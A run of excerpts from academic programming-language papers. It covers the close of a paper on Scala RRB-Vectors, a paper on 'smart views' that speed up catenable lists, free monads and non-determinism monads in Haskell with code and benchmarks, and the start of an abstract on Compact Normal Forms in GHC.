tion. They show the typical overhead of a parallel map, filter or
other similar operations that create a new version of the sequence.
The benchmark computes a map operation using the identity func-
tion, such that the execution time is dominated by the time it takes
to split and combine the sequence rather than the function compu-
tations. As a base for comparison we used the sequential map on

Figure 17. Concatenating two sequences (point of view 1). RRB
Vector and Finger Tree are the planes at the bottom, COW Array is
the plane in the middle and Vector is the plane on the top.

Figure 18. Concatenating two sequences (point of view 2). More
informationg on the first point of view on figure 17.

both versions, where the results are identical. Then we parallelized
it on fork-join thread pools of 1, 2, 4, 8, 16, 32 and 64 thread on a 64
threaded (32 cores) machine. Without concatenation, there is a loss
of performance on when passing from sequential to parallel and al-
though the performance increases with the addition of threads, even
with 64 threads it’s only slightly better than the sequential version.
By contrast, with our new vector, the gain in performance starts
with one thread in the pool (dedicated thread) and then increases.
Giving a 1.55× increase with 2 threads, 2.46× for 4 thread, 3.52×
for 8 thread, 4.60× for 16 thread, 5.52× for 32 thread (core limit)
and 7.18× for 64 thread (hardware thread limit).

Memory Overhead Figure 25 shows the memory overhead of
the data structures used in the benchmarks. This overhead is the
additional space used in relation to the COW Array. The overhead
of a vector is 17.5× smaller than the finger tree and 40× smaller
than the red black trees.

7. Related Work
Related data structures There is a strong relation between

RRB Trees and various data structures in the literature. Patricia
tries [24] are one of the earliest documented uses of radix trees, per-
forming lookups and updates one bit or character at a time. Wider
radix trees were used to build space efficient sparse arrays, Array
Mapped Tries (AMT) [1], and on top of that Hash Array Mapped
Tries (HAMT) [2], which have been popularized and adapted to an
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Figure 19. Appending front 256 elements one by one

Figure 20. Appending back 256 elements one by one

immutable setting in Clojure [15]. Radix trees are also used as in-
dex structures for in-memory databases [19]. In databases B-Trees
[6] are a ubiquitous index data structure that are similar to RRB
Trees, in the sense that they are wide trees and allow a certain de-
gree of slack to enable efficient merging. However the chosen trade-
offs are different and B-Trees are not normally used as sequence
data structures. Ropes [5] are a sequence data structure with effi-
cient concat and rebalancing operations. Immutable sequence data
structures include VLists [3], Finger Trees [16] and various kinds
of random access lists [27].

Parallelism Parallel execution is achieved in the RRB-Vector
by relying on the fork-join pools in Java [18, 31]. The vector is
split into chunks which are processed in parallel. The overhead of
splitting can be offset by using cooperative tasks [14, 21], but, in the
case of RB-Vector the cost of splitting is much smaller compared
to the cost of combining (assembling) the partial results returned
by parallel execution contexts. This is where the RRB trees make a
difference: by allowing efficient structural changes, it enables the
concatenation to occur in effectively constant time, much better
than the previous O(n) for the Scala Vector.

RRB Trees The core data structure was first described in a
technical report [4] as a way to improve the concatenation of im-

Figure 21. Taking the first half of the sequence

Figure 22. Dropping the first half of the sequence

mutable vector like the ones found in Scala Collections [26] and
Clojure [15]. Allowing the implementation of an additional wide
range of efficient structural modification on the vectors. Later, a
concrete version for Scala where in all optimization on locality are
adapted to RRB vectors was implemented. This is the implemen-
tation used in this paper and presented with more technical details
in [37] on the implementation in Scala. Another related project is
[20], where more detailed mathematical proofs where shown for
the RRB Trees and their operations. They also introduce a different
approach on transience using semi-mutable vectors with efficient
snapshot persistence and provide a C implementation.

Scala Library In Scala, most general purpose data structures
are contained in Scala Collections [26]. This framework aims to re-
duce code duplication to a minimum using polymorphism, higher-
order functions [8], higher kinded types [23], implicit parameters
[28] and other language features. It also aims to simplify the inte-
gration of new data structures with a minimum of effort. In addi-
tion, the Scala Parallel Collection API [31–34] allows parallel col-
lections to integrate seamlessly with the rest of the library. Behind
the scenes, Scala Parallel Collections use the Java fork-join pools
[18] as a backend for implicit parallelism in the data structure op-
erations.
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Figure 23. Parallel (non-RRB) Vector overhead on a map opera-
tion

Figure 24. Parallel RRB Vector overhead on a map operation

Low level optimizations We took into account the capabili-
ties of the VM to do escape analysis and inlining of the compiled
bytecode. These are influenced by the concrete implementation of
the Java Hotspot VM compilers (C1 and C2) [17, 29]. At the com-
piler level there are optimizations techniques that remove the cost
of type generic abstractions such as specialization [10], Minibox-
ing [39, 40] or Scala Blitz [33]. This last one can go further do
fusion on collection [7]. Additionally it is possible to use staging
techniques [35, 36, 38] to further optimize the code.

Benchmarks Running code on a virtualized environment like
the JVM where the factors that influence performance are not under
our control and can vary from execution to execution complicates
the benchmarking process [12]. In Scala there is a tool (ScalaMeter
[41]) designed to overcome these issues.

8. Conclusions
In this paper we presented the RRB-Vector, an immutable se-
quence collection that offers good performance across a broad
range of sequential and parallel operations. The underlying innova-
tions are the Relaxed-Radix-Balanced (RRB) Tree structure, which
allows efficient structural changes and an optimization that exploits

Figure 25. Memory overhead of the sequences in relation to arrays

spatio-temporal locality on the RRB data structure in order to offset
the cost of navigating from the tree root to the leaves.

The RRB-Vector implementation in Scala speeds up bulk op-
eration performance on 4 cores by at least 2.33× compared to se-
quential execution, scaling better with light workloads. Discrete
operations take either amortized- or effective-constant time, with
good constants: compared to mutable arrays, sequential reads are at
most 2× slower, while random access is 2-3.5× slower. The imple-
mentation of the project is open-source14 and is being considered
for inclusion in the Scala standard library.
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Abstract
Left-nested list concatenations, left-nested binds on the free monad,
and left-nested choices in many non-determinism monads have
an algorithmically bad performance. Can we solve this problem
without losing the ability to pattern-match on the computation?
Surprisingly, there is a deceptively simple solution: use a smart
view to pattern-match on the datatype. We introduce the notion
of smart view and show how it solves the problem of slow left-
nested operations. In particular, we use the technique to obtain fast
and simple implementations of lists, of free monads, and of two
non-determinism monads.

Categories and Subject Descriptors D.1.1 [Programming Tech-
niques]: Applicative (Functional) Programming; D.3.2 [Program-
ming Languages]: Language Classifications – Applicative (func-
tional) languages; E.1 [Data Structures]: Lists, stacks, and queues

Keywords List, Monad, MonadPlus, Data Structure

1. Introduction
Lists are one of the most important data structures in functional
programming. However, the append operation (++) is inefficient,
as it is linear on the first argument. Therefore, in a left-nested
concatenation ((xs ++ ys) ++ zs) we are going to pay the price
of traversing xs twice. A typical example of such a situation is the
function reverse:

reverse :: [a ]→ [a ]
reverse [ ] = [ ]
reverse (x : xs) = reverse xs ++ [x ]

Unfolding the recursion, reverse [1, 2, 3, 4] amounts to

((([ ] ++ [4]) ++ [3]) ++ [2]) ++ [1].

Left-nested appends make this function quadratic on the length of
the input list.

Rather than rewriting the function reverse (which would only
solve the problem for this particular function) we want a new data
structure for lists that will make functions like reverse fast. More
precisely, we want a catenable list. That is, a data structure for lists
that has fast appends and fast pattern-matching.

The problem of optimising list concatenation is just one instance
of a more general problem which occurs in other settings, such as
libraries of effects based on free monads and implementations of
domain specific languages. In this article we present an extremely
simple technique for optimising selected operations using their al-
gebraic properties while keeping the efficiency of pattern-matching.
We achieve this by transforming a data structure into a new one,
which is inspected using a smart view. We illustrate the technique
with several examples: catenable lists (Section 2), free monads
(Section 3), and two different implementations of non-determinism
monads (Section 4).

The search of efficient list implementations and the generalisa-
tion of the ideas to other datatypes has a long history. We review
related work in Section 5, and run some benchmarks in Section 6
that show that data structures with smart views are quite fast indeed.

We use Haskell to explain the ideas, but lazyness does not play
any significant role. In fact, we also implement and benchmark smart
views for lists in the strict language ML.

2. Catenable Lists
In this section we take the basic datatype of lists and transform it
into a fast implementation of catenable lists.

2.1 Basic Lists
We define our own datatype of lists, rather than reuse the one
predefined in Haskell, in order to be able to alter it.

data List a = Nil
| Cons a (List a)

With this datatype we have constant time construction of the empty
list (Nil ), consing of an element (Cons), and pattern-matching.
However, list concatenation is expensive as it is linear in its first
argument:

(++) :: List a → List a → List a
Nil ++ ys = ys
Cons x xs ++ ys = Cons x (xs ++ ys)

We are interested in obtaining a representation for lists with a fast
implementation of concatenation. However, while some functions
such as

wrap :: a → List a
wrap x = Cons x Nil

only use constructors, the most common way of defining functions
on lists is by pattern-matching:

reverse :: List a → List a
reverse Nil = Nil
reverse (Cons x xs) = reverse xs ++ wrap x
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for profit or commercial advantage and that copies bear this notice and the full citation
on the first page. Copyrights for components of this work owned by others than ACM
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Therefore, we do not want to lose the ability to pattern-match
efficiently.

2.2 A Smart View on Lists
In order to get lists with fast concatenation, we add a constructor
(:++) that represents this operation:

data List a = Nil
| Cons a (List a)
| List a :++ List a

Now concatenation has become cheap as it is simply the application
of the constructor (:++). In order to be able to define functions by
pattern-matching as before, we define a view [8]:

data ListView a = NilV | ConsV a (List a)

Given a function viewL ::List a → ListView a , we can define
reverse as:

reverse xs = case viewL xs of
NilV → Nil
ConsV x xs → reverse xs :++ wrap x

In general, doing pattern matching in terms of cases is not entirely
satisfactory because cases do not nest as elegantly as left-hand-side
patterns. Nevertheless, the GHC extensions ViewPatterns and
PatternSynonyms add syntactic sugar that allows us to pattern-
match on the left-hand side. Using these extensions we can make the
definition of reverse look almost like the original. First, we declare
a pattern synonym for each constructor:

pattern Nil ← (viewL → NilV )
pattern Cons x xs ← (viewL → ConsV x xs)

The pattern synonyms state that pattern matching on Nil is the same
as applying viewL and pattern matching the result on NilV , and that
pattern matching on Cons x xs is the same as applying viewL and
pattern matching the result on ConsV x xs .

After sugaring, the function reverse is simply:

reverse Nil = Nil
reverse (Cons x xs) = reverse xs :++ wrap x

The only missing piece, the definition of viewL, is straightforward.

viewL :: List a → ListView a
viewL Nil = NilV
viewL (Cons x xs) = ConsV x xs
viewL (Nil :++ ys) = viewL ys
viewL (Cons x xs :++ ys) = ConsV x (xs :++ ys)

As opposed to basic lists, the computation of concatenations happens
when we inspect a list with viewL, rather than when we construct
it. Note that the last two equations of viewL, which match on :++,
mimic the definition of ++ for basic lists.

In this implementation, concatenation is cheap. Unfortunately,
views are expensive. After applying reverse to the list

Cons 1 (Cons 2 (Cons 3 (Cons 4 Nil)))

we get the following tree:

:++

:++

:++

:++

Nil [1]

[2]

[3]

[4]

Applying viewL in order to get the head and tail is linear in the
length of the list, as it requires traversing the left-spine.

data List a = Nil
| Cons a (List a)
| List a :++ List a

viewL :: List a → ListView a
viewL Nil = NilV
viewL (Cons x xs) = ConsV x xs
viewL ((xs :++ ys) :++ zs) = viewL (xs :++ (ys :++ zs))
viewL (Nil :++ ys) = viewL ys
viewL (Cons x xs :++ ys) = ConsV x (xs :++ ys)

Figure 1. Definition of lists with a smart view

viewL (

:++

:++

:++

:++

Nil [1]

[2]

[3]

[4] ) = ConsV 1 (

:++

:++

:++

Nil [2]

[3]

[4] )

Therefore, the function reverse ◦ reverse is quadratic on the length
of the input list, as the first reverse necessarily yields left-nested
appends, and then each viewL in the second reverse needs to
traverse the whole list.

Our solution to this problem is to use a smart view: as we traverse
the structure in order to produce a view, we shift left-nested appends
into right-nested appends. The implementation of a smart view only
requires inserting one equation into the previous viewL definition:

viewL ((xs :++ ys) :++ zs) = viewL (xs :++ (ys :++ zs))

Figure 1 contains the complete definition of lists with a smart view.
Now reverse ◦ reverse is linear on the length of the list, as

we only pay once for the traversal of left-nested appends. This is
illustrated clearly by the following example: applying viewL to a
left-leaning list yields a right-leaning tail:

viewL (

:++

:++

:++

:++

Nil [1]

[2]

[3]

[4] ) = ConsV 1 (

:++

Nil :++

[2] :++

[3] [4]

)

Note that internally Lists are not lists but trees. Several equations
that we expect to hold for lists do not hold for Lists. For example,
(xs :++ys):++zs is distinct from xs :++(ys :++zs) as they are distinct
trees. However, it is precisely the ability to make this distinction that
enables the optimisation provided by the extra equation in viewL.
Moreover, for programmes that only inspect Lists by using viewL,
Lists are indistinguishable from ordinary lists. Hence, Lists are
lists observationally.

A smart view modifies the structure when we inspect it. In that
sense, smart views are reminiscent of splay trees, with whom they
share many of their advantages and disadvantages. On the plus side,
they are fast and simple. On the minus side, they are efficient only
with respect to single-future amortised time: given a left-leaning list
xs , we are going to pay the price of pattern-matching xs every time
we execute viewL xs .

3. Efficient Free Monads
We generalise the idea of smart views on lists to other data structures
where operations are more efficient when associated in a particular

356



way. In this section we improve the slow bind operation of the free
monad with a smart view that keeps the free monad ability to do
monadic reflection efficiently.

3.1 Basic Free Monad
An important example of a data structure where the associativity
of an operation determines its efficiency is that of a general leaf-
labelled tree known as the free monad. Free monads are very useful
for representing abstract syntax trees, where operations of the
language are nodes in the tree and variables are labels in the leaves.
The bind of this monad implements simultaneous substitution, which
in this representation is given by grafting the trees, i.e. extending a
tree by replacing each leaf by a tree.

The basic implementation of a free monad is the following:

data Free f a = Var a
| Con (f (Free f a))

An element of Free f a consists of a tree with f -nodes and leaves
with a values. This datatype yields a monad for every functor f :

instance Functor f ⇒ Monad (Free f ) where
return = Var
Var a >>= f = f a
Con t >>= f = Con (fmap (>>=f ) t)

An important concern in a free monad implementation is the
efficiency of the bind operation. As with list concatenation, the bind
operation above is inefficient when left-nested, since it traverses the
tree until it gets to the leaves, and as a consequence, the evaluation
of the expression (t >>= f ) >>= g will traverse t twice, due to the
left-nested binds.

3.2 A Smart View on Free Monads
The usual solution to the inefficiency of left-nested binds in the
free monad is to apply the codensity transformation [5, 15], but
this transformation does not allow for pattern-matching on the
constructors of the free monad without losing the efficiency gains.
In order to have both an efficient bind and an efficient view, we
apply the same recipe as for lists:

• We add a constructor for the bind operation.
• We define a view function that shifts binds to the right.

Figure 2 provides the full definition of a free monad with a smart
view. The differences with respect to the basic implementation of
the free monad are that a constructor :>>= is added and is used
to implement the bind of the monad, and that pattern-matching is
done using viewF . Once again, computation is performed when
inspecting rather than when constructing the tree. The cases in the
definition of viewF for the :>>= pattern mimic the definition of the
bind for the basic free monad, except for the additional equation
shifting left-nested binds to the right.

As it happened with the smart-view implementation of lists,
which was not a list internally, the type Free f is not a monad
internally. For instance, the associativity law of bind does not hold
for the declared instance. However, distinguishing the two manners
in which we can associate bind is precisely what we need in order
to shift binds to the right and make views efficient. By restricting
access to the internal representation with viewF , Free f is a monad
observationally.

4. Efficient Non-determinism Monads
Another structure where the associativity of an operation is impor-
tant is non-determinism monads. These monads not only need an
efficient bind, but also need an efficient choice operator. We analyse

data Free f x = Var x
| Con (f (Free f x ))
| ∀a.(Free f a) :>>= (a → Free f x )

instance Monad (Free f ) where
return = Var
(>>=) = (:>>=)

data FreeMonadView f a = VarV a | ConV (f (Free f a))

pattern Var a ← (viewF → VarV a)
pattern Con t ← (viewF → ConV t)

viewF (Var a) = VarV a
viewF (Con t) = ConV t
viewF ((m :>>= f ) :>>= g) = viewF (m :>>= λx → f x :>>= g)
viewF (Var a :>>= f ) = viewF (f a)
viewF (Con t :>>= f ) = ConV (fmap (:>>=f ) t)

Figure 2. Free monad with a smart view.

two different inefficient implementations and show how they can be
improved using a smart view.

4.1 Basic List Monad Transformer
The list monad transformer [6] is often used to model the combina-
tion of non-determinism and other effects. For every monad m , the
monad transformer yields a non-determinism monad ListT m . Its
definition is as follows:

newtype ListT m a = LT (m (Maybe (a,ListT m a)))

viewLT :: ListT m a → m (Maybe (a,ListT m a))
viewLT (LT x ) = x

Its Monad instance states that ListT m is a monad for every
monad m . The bind operation is defined in terms of the mplus
operation, which is given below.

instance Monad m ⇒ Monad (ListT m) where
return x = LT (return (Just (x ,mzero)))
m >>= f = LT (viewLT m >>= λx → case x of

Nothing → return Nothing
Just (h, t)→ viewLT (f h ‘mplus‘ (t >>= f )))

The MonadTrans instance states that ListT is a monad trans-
former and has a monad morphism

lift ::Monad m ⇒ m a → ListT m a

lifting computations from the underlying monad into the trans-
formed monad.

instance MonadTrans ListT where
lift m = LT (m >>= λx → return (Just (x ,mzero)))

The list monad transformer implements two operations for non-
determinism, which are specified by the MonadPlus interface.

class Monad m ⇒ MonadPlus m where
mzero ::m a
mplus ::m a → m a → m a

The operation mplus chooses between two computations, and
mzero represents the empty choice. The corresponding implementa-
tions in ListT are as follows:

instance Monad m ⇒ MonadPlus (ListT m) where
mzero = LT (return Nothing)
m ‘mplus‘ n = LT (viewLT m >>= λx → case x of

Nothing → viewLT n
Just (h, t)→ return (Just (h, t ‘mplus‘ n)))
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A monad which is an instance of MonadPlus and additionally,
implements the MonadLogic interface, supports operators for fair
disjunction, fair conjunction, conditionals, and pruning [7].

class MonadPlus m ⇒ MonadLogic m where
msplit ::m a → m (Maybe (a,m a))

The MonadLogic instance of ListT follows directly from the
viewLT operation and the fact that ListT is a monad transformer
(and therefore implements lift .)

instance Monad m ⇒ MonadLogic (ListT m) where
msplit x = lift (viewLT x )

The main problem with the basic list monad transformer is that
left-nested mplus operations are inefficient. We solve this problem
with a smart view.

4.2 A Smart View on the List Monad Transformer
In order to obtain a smart view on the list monad transformer, we
follow the same recipe as before. First, we add a constructor (:+)
corresponding to the mplus operation:

data ListT m a = LT (m (Maybe (a,ListT m a)))
| (ListT m a) :+ (ListT m a)

Next, we change the viewLT function so that it performs the
computation corresponding to mplus while shifting left-nested
operations to the right.

viewLT ::Monad m ⇒
ListT m a → m (Maybe (a,ListT m a))

viewLT (LT v) = v
viewLT ((m :+ n) :+ o) = viewLT (m :+ (n :+ o))
viewLT (m :+ n) = viewLT m >>= λx → case x of

Nothing → viewLT n
Just (h, t)→ return (Just (h, t ‘mplus‘ n))

Last, we change the MonadPlus instance so that it uses the newly
added constructor.

instance Monad m ⇒ MonadPlus (ListT m) where
mzero = LT (return Nothing)
mplus = (:+)

No more changes are needed! The Monad , MonadTrans , and
MonadLogic instances are exactly the same as before. With a few
simple changes, we have obtained a list monad transformer with
efficient mplus and reflection.

4.3 Free MonadPlus
The second instance of a non-determinism monad that we are
going to analyse is that of the free MonadPlus . In Section 3,
we showed how the free monad constructs a monad for every
functor. Analogously, the free MonadPlus construction yields a
MonadPlus for every functor.

The free MonadPlus is given by the following datatype.

data FMP f x = FNil
| ConsV x (FMP f x )
| ConsF (f (FMP f x )) (FMP f x )

Its Monad instance is the following:

instance Functor f ⇒ Monad (FMP f ) where
return x = ConsV x FNil
FNil >>= f = FNil
(ConsV x v)>>= f = f x ‘mplus‘ (v >>= f )
(ConsF t v) >>= f = ConsF (fmap (>>=f ) t) (v >>= f )

Whereas in the free monad we have a choice of a Var or a Con , in
the free MonadPlus we have a list of those two choices. Elements

of the list are added by ConsV and ConsF , and FNil signals the
empty list. The bind operation is applied to each element of the list.
The corresponding MonadPlus instance is as follows:

instance MonadPlus (FMP f ) where
mzero = FNil
FNil ‘mplus‘ y = y
(ConsV x y) ‘mplus‘ z = ConsV x (y ‘mplus‘ z )
(ConsF x y) ‘mplus‘ z = ConsF x (y ‘mplus‘ z )

The free monad plus suffers from two deficiencies: both left-
nested binds and left-nested mplus are inefficient. We solve both
problems with a smart view.

4.4 A Smart View on Free MonadPlus
In the smart view on the free MonadPlus , we need to solve the
associativity problem of two operations, and therefore we add two
constructors:

data FMP f x = FNil
| ConsV x (FMP f x )
| ConsF x (FMP f x )
| (FMP f x ) :+ (FMP f x )
| ∀a.(FMP f a) :>>= (a → FMP f x )

The Monad and MonadPlus instances now simply use the
newly added constructors:

instance Monad (FMP f ) where
return x = ConsV x FNil
(>>=) = (:>>=)

instance MonadPlus (FMP f ) where
mzero = FNil
x ‘mplus‘ y = x :+ y

We define a view datatype for recovering reflection, along with
pattern synonyms that add syntactic sugar.

data ViewM f x = FNilV
| ConsVV x (FMP f x )
| ConsFV (f (FMP f x )) (FMP f x )

pattern FNil ← (viewM → FNilV )
pattern ConsV x xs ← (viewM → ConsVV x xs)
pattern ConsF t xs ← (viewM → ConsFV t xs)

As before, the view function turns left-associated operations into
right-associated operations. In this case it needs to do it for both
left-associated occurrences of :+ and left-associated occurrences
of :>>=. When the operations are not left-associated, then the view
performs the computations that were done in the original definitions
of mplus and bind.

viewM ::Monad f ⇒ FMP f x → ViewM f x
viewM FNil = FNilV
viewM (ConsV x xs) = ConsVV x xs
viewM (ConsF x xs) = ConsFV x xs
viewM ((x :+ y) :+ z ) = viewM (x :+ (y :+ z ))
viewM (FNil :+ y) = viewM y
viewM (ConsV x xs :+ y) = ConsVV x (xs :+ y)
viewM (ConsF x xs :+ y) = ConsFV x (xs :+ y)
viewM ((m :>>= f ) :>>= g) =

viewM (m :>>= (λx → f x :>>= g))
viewM (FNil :>>= f ) = FNilV
viewM (ConsV x xs :>>= f ) = viewM (f x :+ (xs :>>= f ))
viewM (ConsF t xs :>>= f ) = ConsFV (fmap (:>>=f ) t)

(xs :>>= f )
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As this last example shows, the same procedure for optimising
one operation can be applied when we want to optimise two or more
operations.

5. Related Work
The search for lists with fast concatenation is a well-known problem
for which many solutions have been proposed in the past. Addition-
ally, some of the work has also been generalised to monads, and
at least in one case to MonadPlus . We discuss some of the most
relevant related works.

5.1 Modified Reduction Semantics
Sleep and Holmström [11] solve the problem of left-nested appends
by means of an interpreter for a lazy evaluator which regards the
++ operator as a constructor with a special reduction semantics.
This reduction semantics shifts left-nested appends into right-nested
appends, achieving the same effect as the smart view of Section 2.2.

This approach requires a lazy language, in contrast to smart
views which also work in a strict setting. The difference is that in
this approach the use of the associativity of append is commanded
by the evaluation of the list, whereas in the smart view approach it
is commanded by invocation of a view function.

There are other approaches that, like [11], solve the problem of
left-nested appends by modifying the semantics [14, 16]. In these
approaches, the whole program needs to be transformed or compiled
in a special way.

In the related work that follows a different approach is taken.
The starting point is an abstract data type, and therefore only the
abstract data type implementation needs to be changed.

5.2 Catenable Lists
The search for catenable lists has a long history. The most relevant
work for Haskell implementations are the catenable double-ended
queues in Okasaki’s book [9] and finger trees [3], which is the
data structure chosen in Haskell’s Data.Sequence package. Both
of these structures do more than just fast concatenation and views,
as they implement double-ended queues.

However, if one can do without the extra functionality and single
future amortised time is enough, lists with a smart view cannot be
beat for simplicity and speed (see Section 6).

The simplicity of structures with a smart view is an important fac-
tor when one wants to reproduce the optimisation in data structures
other than lists.

5.3 Continuation-passing Representations
Cayley lists (also known as difference lists or Hughes’ lists [4])
are a good way to speed up concatenations. It is a simple approach
which has been also applied to the optimisation of the bind in the
free monad through the codensity monad transformation [5, 15].
Moreover, it has been shown that the approach is an instance of
a generic Cayley representation for monoids, which means that it
can be applied to other structures such as applicative functors [10].
Continuation-based implementations have also been proposed for
non-determinism monad transformers [2, 7].

The main limitation of all these continuation-passing represen-
tations is that they lack support for pattern-matching. This means
that they will work well if all the computation can be performed
without inspecting the structure, and only in the end the results are
analysed. The benefits are lost if one needs to inspect the structure
in the middle of the computation.

5.4 Explicit Binds
Uustalu introduced an approach of “explicit binds” which is quite
close to ours [12]. In the explicit-bind approach, the operation that

one wants to optimise is introduced as a constructor in exactly the
same way that one does in the smart-view approach. However, as
opposed to the smart-view approach, the data structure is inspected
using a special fold operator that applies the selected operation in
the most efficient order. For example, for lists the fold operation
would be:

foldE :: (a → b → b)→ b → List a → b
foldE h e Nil = e
foldE h e (Cons x xs) = h x (foldE h e xs)
foldE h e (xs :++ ys) = foldE h (foldE h e ys) xs

The disadvantage of this approach is that one is required to
write functions in terms of folds, instead of using pattern-matching.
Uustalu also defines a primitive-recursion operator:

primrec :: (a → b → List a → b)→ b → List a → b
primrec h e Nil = e
primrec h e (Cons x xs) = h x (primrec h e xs) xs
primrec h e (xs :++ ys) = primrec h ′ (primrec h e ys) xs

where h ′ x a xs = h x a (xs :++ ys)

which in principle would allow us to define a view:

viewL = primrec (λx xs → ConsV x xs) NilV

However, this viewL is equivalent to our first, unoptimised imple-
mentation. That is, if we define reverse by pattern-matching on this
view, reverse ◦ reverse is quadratic.

The solution to this problem is to use a smart view in the
definition of primrec: we add another equation turning left-nested
appends into right-nested appends. Joining the two approaches
yields the following definition:

primrec′ h e Nil = e
primrec′ h e (Cons x xs) = h x (primrec′ h e xs) xs
primrec′ h e ((xs :++ ys) :++ zs)

= primrec′ h e (xs :++ (ys :++ zs))
primrec′ h e (xs :++ ys) = primrec′ h ′ (primrec′ h e ys) xs
where h ′ x a xs = h x a (xs :++ ys)

Therefore, one can use both approaches simultaneously. After
all, giving foldE and primrec′ access to the internal representation
cannot hurt. Perhaps surprisingly, the addition of these operations is
inconsequential. Our benchmarks show that functions implemented
using foldE perform as well as functions that use the following
foldr defined in terms of pattern-matching on viewL.

foldr :: (a → b → b)→ b → List a → b
foldr h e Nil = e
foldr h e (Cons x xs) = h (foldr h e xs)

5.5 Monadic Reflection
Van der Ploeg and Kiselyov [13] propose a data structure that solves
exactly the problem that we address with smart views: optimising
an operation such as bind in the free monad, or mplus for non-
determinism monads, without losing the ability to pattern-match
efficiently. The technique generalises an efficient data structure for
lists to monads by keeping a type aligned sequence of monadic
binds. Because of the type aligned sequences, the implementation is
much more complex than the smart view implementation. Moreover,
benchmarks show that smart views are noticeably faster.

5.6 Operational Monad
The smart view on the free monad shown in Section 3 is very similar
to the implementation of the free monad in the operational
package. Note that this is quite a different implementation from
the one described by its author in a tutorial article [1]. The package
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also provides an implementation of a non-determinism monad, but
this implementation does not use smart views and suffers from
quadratic time on left-nested applications of mplus .

6. Benchmarks
We provide some micro-benchmarks in order to give an idea of what
performance can be expected from the use of smart views.

All benchmarks where done on an Intel Core i5-3330 CPU, with
16GB of RAM. All programs were compiled using GHC 7.8.2 with
optimisation turned on. For obtaining the running times we used
the criterion package, which executes each test several times in
order to account for accidental differences in CPU load.

In each benchmark, we compare implementations with a linear
asymptotic complexity, leaving out implementations which are
quadratic for that test. We express the results as relative time with
respect to the fastest implementation.

The source code for the benchmarks can be downloaded from
http://www.fceia.unr.edu.ar/~mauro/pubs/smartviews.

6.1 Lists
We compare lists with a smart view (Section 2.2) against Okasaki’s
catenable double-ended queues [9] and Finger Trees [3]. We bench-
marked the running time of the function reverse ◦ reverse which
mixes pattern-matching and concatenation, for input of different
lengths. The implementation using smart views is the fastest, with
catenable double-ended queues being 4.6 times slower, and finger
trees being 1.5 times slower.

Both catenable deques and finger trees implement efficiently the
removal of the last element, an operation which is inefficient for lists
with a smart view. However, if pattern-matching and concatenation
is all that is needed, the smart-view implementation seems to be the
fastest.

We also compare two implementations of fold for lists with a
smart view. One is the fold with access to the internal representation,
as presented by Uustalu [12] (see Section 5.4), and the other is foldr
written using views.

The benchmark compares the performance of summing a list
of integers by writing sum as a fold. Both implementations show
very close running times (difference less than 2%), and therefore we
conclude that we would not gain much by adding a fold with access
to the internal representation.

6.2 Free Monads
We compare the following implementations of free monads:

• Free monad with a smart view (Section 3.2).
• Codensity: Codensity monad on a free monad [5, 15].
• Ref: Free monad using the “reflection without remorse” tech-

nique [13].
• Oper: Free monad from the operational package.

While all of these implementations deal efficiently with left-
nested binds, the codensity monad is the only one that does not have
an efficient reflection mechanism.

We measure the running time of the function fullTree [15].
This is a toy example which constructs a binary tree using left-
nested binds, which then is consumed with a zig-zag traversal. This
benchmark does not use reflection, so we expected the codensity
transformation to be the fastest. However, even in this case, the
smart-view implementation is the fastest, , with Codensity being
1.2 times slower, Oper being 1.5 times slower, and Ref being 2.9
times slower.

Next, we measure the running time of the function interleave,
which interleaves two monadic computations making heavy use of

reflection (and therefore we left out the codensity transformation).
Again, the free monad with a smart view is the fastest, with Oper
being 1.2 time slower, and Ref being 2.2 times slower.

6.3 Non-determinism Monads
Last, we test implementations of non-determinism monads with
three benchmarks. The implementations we compare are:

• List monad transformer with a smart view (Section 4.2).
• Free MonadPlus with a smart view (Section 4.4).
• Ref: List monad transformer using “reflection without re-

morse” [13].
• LogicT: Backtracking monad transformer based on continua-

tions [7]. This implementation deals with left-nested mplus
efficiently, but poorly with reflection.

• ListT: Basic list monad transformer.

In the first benchmark, we compare the running times of different
implementations when observing all results in left-nested applica-
tions of mplus . The unoptimised list transformer is not included
since it takes quadratic time. Surprisingly, the two implementations
that use smart views even best the continuation-based implemen-
tation. More concretely, in this test the fastest implementation is
the Free MonadPlus with a smart view, followed by the list monad
transformer with a smart view (1.2 times slower), then LogicT (1.4
times slower), and finally Ref (4.8 times slower). Note that this
is just a micro-benchmark. We still expect the continuation-based
implementation to be faster in real applications where reflection is
not needed.

In the second benchmark, we evaluate taking the first n results
from a computation. This test does use reflection, and therefore
LogicT takes quadratic time rather than linear, so it is not included
in the comparison. We do include the original list transformer ListT,
which, as expected, performs well in this test. The smart view free
monad plus is the fastest, followed by the basic list transformer (1.5
times slower), then the smart view list transformer (2 times slower),
and finally Ref (4.2 times slower).

In the third benchmark, we test the fair conjunction operation,
which uses reflection. Again, smart views have the advantage. The
smart view free MonadPlus is the fastest, with the smart view list
transformer being 1.5 times slower, and Ref being 2.7 times slower.
Compared with the “reflection without remorse” technique, smart
views obtain similar asymptotic complexity but, perhaps due to their
simplicity, much lower constants.

6.4 Smart Views in Strict Languages
The smart view technique also works in a strict setting. In order to
validate this claim, we have implemented the smart view for lists in
the strict functional language ML. As it was done in Section 6.1, we
tested the implementation with the function reverse ◦ reverse . As
expected, the benchmarks show that the function runs in linear time.
Moreover, when compared with an implementation of Okasaki’s
catenable deques the constant speedups are similar (catenable deques
are 4 times slower in this test). Also, we obtained results similar to
the Haskell case when running the benchmark that compares two
implementations of fold , with and without access to the internal
representation. Benchmarks were compiled using Moscow ML
compiler version 2.10.

7. Conclusion
We have shown a technique for optimising operations in a data
structure, while keeping efficient pattern-matching. We have shown
the technique by constructing efficient versions of catenable lists,
reflective free monads, and two implementations of reflective non-
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determinism monads. The extension of the technique to other data
structures seems trivial.

In all of our examples we have optimised an operation by using
its associativity. However, the technique can be readily applied to
other algebraic properties. For example, in the free MonadPlus
example, it is trivial to add an equation that distributes bind over
mplus:

viewM ((x :+ y) :>>= f ) = viewM ((x :>>= f ) :+ (y :>>= f ))

Smart views are an efficient solution with respect to single-future
amortised time, whose simplicity cannot be understated. In order to
optimise a datatype using its algebraic properties, it is a good idea
to have a smart view on it.
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Abstract
In distributed applications, the transmission of non-contiguous data
structures is greatly slowed down by the need to serialize them into
a buffer before sending. We describe Compact Normal Forms, an
API that allows programmers to explicitly place immutable heap
objects into regions, which can both be accessed like ordinary data
as well as efficiently transmitted over the network. The process of
placing objects into compact regions (essentially a copy) is faster
than any serializer and can be amortized over a series of functional
updates to the data structure in question. We implement this scheme
in the Glasgow Haskell Compiler and show that even with the
space expansion attendant with memory-oriented data structure
representations, we achieve between ×2 and ×4 speedups on fast
local networks with sufficiently large data structures.

Categories and Subject Descriptors D.3.2 [Programming Lan-
